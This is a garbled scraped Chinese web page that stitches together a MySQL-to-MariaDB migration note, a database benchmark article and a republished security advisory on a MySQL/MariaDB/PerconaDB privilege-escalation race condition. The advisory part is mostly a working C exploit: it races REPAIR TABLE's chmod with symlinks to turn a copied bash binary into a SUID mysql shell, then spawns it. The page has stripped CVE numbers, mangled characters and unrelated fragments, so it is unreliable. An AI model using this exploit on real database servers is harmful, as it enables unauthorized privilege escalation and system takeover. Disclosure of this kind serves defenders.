爱乐之城百度云盘链接接怎么放到Word里面

mariadb 10.1.14 从MySQL 5.5迁移到Mariadb 10.1.14所遇到的问题-MySQL数据库
当前位置:&>&&>& &
从MySQL 5.5迁移到Mariadb 10.1.14所遇到的问题
mariadb 10.1.14 从MySQL 5.5迁移到Mariadb 10.1.14所遇到的问题
| 来源:网络 | 关键字:
迁移计划如下:1.备份MySQL 5.5的数据库,对指定库进行备份。2.还原到Mariadb,然后建立复制。3.然后就可以愿意啥时候切换就啥时候切换。遇到的问题:因为一般都是innodb,所以我想用
迁移计划如下:  1.备份MySQL 5.5的数据库,对指定库进行备份。  2.还原到Mariadb,然后建立复制。  3.然后就可以愿意啥时候切换就啥时候切换。遇到的问题:  因为一般都是innodb,所以我想用xtrabackup工具备份。备份后发现还原需要依赖innodb的表空间切换。  1.表空间切换,必须要打开innodb_file_per_table。也就是说所有的表都要有独立的文件(.Cn)。有一些表虽然是innodb但是存在ibdata下面。  幸好可以申请维护窗口,简单粗暴的重建了。  2.从MySQL 5.5到Mariadb,在import tablespace的时候发生错误,说表结构比匹配,然后根据字段发现都是一些 date,datetime,timestamp类型。  碰到这个问题,还在找有啥解决方法,找了一圈也没找到,对报错的表使用了mysqldump,然后导入,其实mysqldump速度不慢。  3.因为xtrabackup备份和mysqldump已经有一段时间了,所以肯定会有一些数据已经存在,所以在创建主从复制的时候肯定会报主键错误。  直接开slave_skip_errors =1062,提过主键冲突。发现落下的貌似有点多,那么mariadb这个版本已经支持了多线程复制。  关于参数mariadb官网可以看,开起来:slave_parallel_mode=optimistic  slave_parallel_threads=6set global innodb_flush_log_at_trx_commit=0; --追不上把这个也开了MariaDB [(none)]&+----+-------------+-----------+------+---------+------+----------------------------------+------------------+----------+| Id | User | Host | db | Command | Time | State | Info | Progress |+----+-------------+-----------+------+---------+------+----------------------------------+------------------+----------+| 5 | root | localhost | NULL | Query | 0 | init | show processlist | 0.000 || 23 | system user | | NULL | Connect | 1197 | Waiting for master to send event | NULL | 0.000 || 24 | system user | | NULL | Connect | 1197 | Waiting for work from SQL thread | NULL | 0.000 || 25 | system user | | NULL | Connect | 1197 | Waiting for work from SQL thread | NULL | 0.000 || 26 | system user | | NULL | Connect | 1197 | Waiting for work from SQL thread | NULL | 0.000 || 27 | system user | | NULL | Connect | 1197 | Waiting for work from SQL thread | NULL | 0.000 || 28 | system user | | NULL | Connect | 1197 | Waiting for work from SQL thread | NULL | 0.000 || 29 | system user | | NULL | Connect | 1197 | Waiting for work from SQL thread | NULL | 0.000 || 30 | system user | | NULL | Connect | 0 | apply log event | NULL | 0.000 |+----+-------------+-----------+------+---------+------+----------------------------------+------------------+----------+9 rows in set (0.00 sec)以上所述是小编给大家介绍的从MySQL 5.5迁移到Mariadb 10.1.14所遇到的问题,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!
网友评论仅供其表达个人看法,并不表明网易立场。MariaDB 10.1 和 MySQL 5.7 在普通商用硬件上的表现_数据库技术_Linux公社-Linux系统门户网站
你好,游客
MariaDB 10.1 和 MySQL 5.7 在普通商用硬件上的表现
来源:www.linuxstory.org&
作者:Dolia
你读到我的上一篇文章关于 MariaDB 10.1 GA 性能的文章时,你可能会困惑我为什么对 MySQL 5.7 只字未提。原因有两个:首先,MySQL 在那时还不是 GA。其次,MySQL 在 Power8 上运行并不稳定。
这次,我会拿出一个比较基准来对比他们之间的性能差别。我选了一些比较普通的硬件,因为大多数用户将运行这样的主机。用的是一个OVH的SP-64主机。4核英特尔CPU,内存为64G。磁盘一般,但基准又是一个简化的只读OLTP往返内存的工作负载。
为了让事情更有趣,我加了最新的 MySQL 5.6。所以我们现在有4个对比:全新的 MySQL5.7 GA和它的前辈和全新 MariaDB10.1 GA 和它的前身。就不再多说废话了,看结果。
对于那些更偏爱数字而非图表的同学:
clientsMariaDB 10.0.21MariaDB 10.1.8MySQL 5.6.27MySQL 5.7.9
所以应该是 MySQL 性能更加优越。但我们能从这些数字中获取的信息远不止这些。让我们看看还能从这些数字中提取到什么内容:
clientsMariaDB 10.1 vs. MariaDB 10.0MySQL 5.7 vs. MariaDB 10.1MySQL 5.7 vs. MySQL 5.6
这种比较的结果是令人惊讶的,MySQL 5.7.9不仅比 MariaDB 10.1.8(我猜你应该阅读,在MariaDB博客)慢,而且它也比 MySQL 的27年6月5日慢得多。这个不幸的趋势也被其他人观察到了。 MariaDB 另一方面可以从 10.0.21 升级至 10.1.8。
基准测试详细信息
在使用基准再次sysbench的。基准是使用单个一百万行的表。使用单个或多个表对这样一个小机器不会产生太大的差别。 my.cnf如下:
[mysqld]max_connections = 300table_open_cache = 600innodb_buffer_pool_size = 512Mperformance&schema = falsesecure_file_priv = /tmp
注意:最后一行只对 MySQL 5.7 是有意义的。而倒数第二行(禁用性能模式)只对 MySQL 有意义。没错,请确保您禁用性能模式或压低 MySQL 的性能几个百分比。 MariaDB 默认情况下是禁用性能模式的。
用以测试的命令是这样的:
sysbench&0.5 &test=lua/oltp.lua& &oltp&table&size=1000000 \&oltp&read&only=on &oltp_point_selects=1000 \&oltp_sum_ranges=0 &oltp_simple_ranges=0 \&oltp_order_ranges=0 &oltp_distinct_ranges=0 \&max&requests=0 &max&time=100 &num&threads=& run
MariaDB 10.1.8 发布下载,MySQL 分支&
Linux系统教程:如何检查MariaDB服务端版本&
MariaDB Proxy读写分离的实现
Linux下编译安装配置MariaDB数据库的方法
系统使用yum安装MariaDB数据库
安装MariaDB与MySQL并存
上如何将 MySQL 5.5 数据库迁移到 MariaDB 10&
[翻译]Ubuntu 14.04 (Trusty) Server 安装 MariaDB&
MariaDB 的详细介绍:MariaDB 的下载地址:
英文原文:
本文永久更新链接地址:
相关资讯 & & &
& (02月02日)
& (12/15/:22)
& (昨 09:43)
& (01月05日)
& (10/30/:24)
   同意评论声明
   发表
尊重网上道德,遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅???并接受上述条款MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)
发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE- / CVE-
漏洞影响:
MariaDB & 5.5.52
Server& 5.5.51-38.2
& 5.6.32-78-1
& 5.7.14-8
XtraDB Cluster& 5.6.32-25.17
& 5.7.14-26.17
& 5.5.41-37.0
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库用户(通常是'')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE- 和 CVE-漏洞)获取操作系统root权限。
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
可以通过data directory参数指定存储目录为/tmp/disktable/
mysql& CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
执行完成后,查看下目录权限,变为mysql
attacker@debian:~$ ls -l /tmp/disktable/
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql& REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status
+----------------+--------+----------+----------+
通过查看系统调用,可以看到
1463] lstat(&/tmp/disktable/poctab1.MYD&, {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
1463] open(&/tmp/disktable/poctab1.MYD&, O_RDWR) = 65
1463] access(&./testdb/poctab1.TRG&, F_OK) = -1 ENOENT (No such file or directory)
1463] lseek(65, 0, SEEK_CUR)
1463] lseek(65, 0, SEEK_END)
1463] mprotect(0x7f6a288, PROT_READ|PROT_WRITE) = 0
1463] open(&/tmp/disktable/poctab1.TMD&, O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
1463] lseek(65, 0, SEEK_END)
1463] lseek(64, 0, SEEK_END)
1463] close(65)
1463] close(66)
1463] lstat(&/tmp&, {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
1463] lstat(&/tmp/disktable&, {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
1463] lstat(&/tmp/disktable/poctab1.MYD&, {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
1463] stat(&/tmp/disktable/poctab1.MYD&, {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
1463] chmod(&/tmp/disktable/poctab1.TMD&, 0660) = 0
1463] chown(&/tmp/disktable/poctab1.TMD&, 110, 115) = 0
1463] unlink(&/tmp/disktable/poctab1.MYD&) = 0
1463] rename(&/tmp/disktable/poctab1.TMD&, &/tmp/disktable/poctab1.MYD&) = 0
第一个系统调用是
[pid &1463] lstat(&/tmp/disktable/poctab1.MYD&, {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
[pid &1463] lstat(&/tmp/disktable/poctab1.MYD&, {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid &1463] chmod(&/tmp/disktable/poctab1.TMD&, 0660) = 0
系统调用之间,产生了条件竞争漏洞。
如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。
攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。
可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
通过data directory参数指定存储目录为/tmp/disktable/
mysql& CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)
再次查看/tmp/disktable/权限
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
-rw-rw---- 1 mysql mysql & &0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。
漏洞验证:
/tbf68f688.png
/t012b36519f36adf7e5.png
------------------[ mysql-privesc-race.c ]--------------------
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE- / OCVE-
Discovered/Coded by:
Dawid Golunski
@dawid_golunski
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-16-Exploit.html
#define EXP_PATH
&/tmp/mysql_privesc_exploit&
#define EXP_DIRN
&mysql_privesc_exploit&
#define MYSQL_TAB_FILE
EXP_PATH &/exploit_table.MYD&
#define MYSQL_TEMP_FILE
EXP_PATH &/exploit_table.TMD&
#define SUID_SHELL
EXP_PATH &/mysql_suid_shell.MYD&
#define MAX_DELAY 1000
// can be used in the race to adjust the timing if necessary
// DB handles
MYSQL_RES *
void intro() {
&\033[94m\n&
&MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n&
&mysql-privesc-race.c (ver. 1.0)\n\n&
&CVE- / OCVE-\n\n&
&For testing purposes only. Do no harm.\n\n&
&Discovered/Coded by:\n\n&
&Dawid Golunski \n&
&\033[0m\n\n&);
void usage(char *argv0) {
printf(&Usage:\n\n%s user pass db_host database\n\n&, argv0);
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf(&%s \n&, sql_cmd);
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, &%s\n&, mysql_error(conn));
res = mysql_store_result(conn);
if (res&0) mysql_free_result(res);
int main(int argc,char **argv)
int randomnum = 0;
int io_notified = 0;
int is_shell_suid=0;
/* io notify */
char buf[4096] __attribute__((aligned(8)));
struct inotify_event *
/* credentials */
char *user
= argv[1];
char *password = argv[2];
char *db_host
= argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
// Show initial privileges
printf(&\n[+] Starting the exploit as: \n&);
system(&id&);
// Connect to the database server with provided credentials
printf(&\n[+] Connecting to the database `%s` as %s@%s\n&, database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, &%s\n&, mysql_error(conn));
// Prepare tmp dir
printf(&\n[+] Creating exploit temp directory %s\n&, &/tmp/& EXP_DIRN);
umask(000);
system(&rm -rf /tmp/& EXP_DIRN & && mkdir /tmp/& EXP_DIRN);
system(&chmod g+s /tmp/& EXP_DIRN );
// Prepare exploit tables :)
printf(&\n[+] Creating mysql tables \n\n&);
mysql_cmd(&DROP TABLE IF EXISTS exploit_table&, 0);
mysql_cmd(&DROP TABLE IF EXISTS mysql_suid_shell&, 0);
mysql_cmd(&CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '& EXP_PATH &'&, 0);
mysql_cmd(&CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '& EXP_PATH &'&, 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf(&\n[+] Copying bash into the mysql_suid_shell table.\n
After the exploitation the following file/table will be assigned SUID and executable bits : \n&);
system(&cp /bin/bash & SUID_SHELL);
system(&ls -l & SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd & 0) {
printf(&failed to inotify_init\n&);
return -1;
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf(&\n[+] Entering the race loop... Hang in there...\n&);
while ( is_shell_suid != 1 ) {
if ( (cnt % 100) == 0 ) {
printf(&-&&);
//fflush(stdout);
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd(&DROP TABLE IF EXISTS exploit_table&, 1);
mysql_cmd(&CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '& EXP_PATH &'&, 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid & 0) {
fprintf(stderr, &Fork failed :(\n&);
/* Child process - executes REPAIR TABLE
SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd(&REPAIR TABLE exploit_table EXTENDED&, 1);
// child stops here
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid & 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret & 0) {
while (processed & ret) {
event = (struct inotify_event *)(buf + processed);
if (event-&mask & IN_CLOSE) {
if (!strcmp(event-&name, &exploit_table.TMD&)) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
processed += sizeof(struct inotify_event);
if (io_notified) {
waitpid(pid, &status, 0);
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
printf(&\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n&, cnt);
system(&ls -l & SUID_SHELL);
printf(&\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n
Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-3[0m or \033[1;31mCVE-3[0m :)\n\n&);
system(SUID_SHELL & -p -i &);
//system(SUID_SHELL & -p -c '/bin/bash -i -p'&);
/* close MySQL connection and exit */
printf(&\n[+] Job done. Exiting\n\n&);
mysql_close(conn);
视频参考(作者随后上传):
/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-16--Exploits.html
临时解决办法:
在my.cnf中添加
symbolic-links = 0

我要回帖

更多关于 人见人爱百度云盘链接 的文章

 

随机推荐